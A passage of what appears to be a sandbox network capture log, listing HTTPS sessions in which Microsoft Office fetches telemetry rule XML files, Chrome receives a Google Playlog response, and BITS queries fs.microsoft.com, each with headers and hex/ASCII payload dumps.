[[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730212047958",null,null,null,
2024-10-29 14:27:30 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=LAdLcFCZK_fAtEKc1HbChBkLwYnVNkG4qo9H6cmWfZzyK0h5vUS_E8DJhSJ2c0D5n54kiUVairJEwzScXkFRJta4dZYMbV0HF1qIKHJH6QrARopxPQr2Rg0yVuLD68qKIqd9uxSx9kY9QQF_Ew3JoWg6waI21WyePZvowQARLC81atjq6k4; expires=Wed, 30-Apr-2025 14:27:30 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 14:27:30 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 14:27:30 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 14:27:30 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 14:27:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:31 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:31 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 27230864-a01e-0070-6533-26573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142731Z-17c5cb586f65j4snvy39m6qus400000001vg00000000dk8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:31 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:31 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142731Z-16849878b787bfsh7zgp804my400000005bg00000000k4ye x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:31 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:31 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142731Z-16849878b787bfsh7zgp804my400000005bg00000000k4yf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:31 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:31 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:31 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 927d9f3b-101e-0034-1176-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142731Z-r197bdfb6b46kdskt78qagqq1c00000006s000000000ay3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:31 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:30 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:31 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:31 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142731Z-16849878b78j5kdg3dndgqw0vg00000008d0000000006puv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:31 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49839	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 14:27:31 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=80837 Date: Tue, 29 Oct 2024 14:27:31 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:31 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:32 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142732Z-16849878b78hh85qc40uyr8sc800000006xg00000000c16n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:32 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:31 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:32 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142732Z-16849878b78qg9mlz11wgn0wcc000000067000000000cr4w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:32 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:32 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:32 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6ac6ea93-701e-0001-1898-25b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142732Z-15b8d89586fpccrmgpemqdqe5800000001fg000000009nv8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:32 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:32 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:32 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142732Z-15b8d89586f8nxpt6ys645x5v000000007x00000000057a5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:32 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:32 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:32 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142732Z-16849878b78zqkvcwgr6h55x9n000000060g00000000hq9n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49848	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
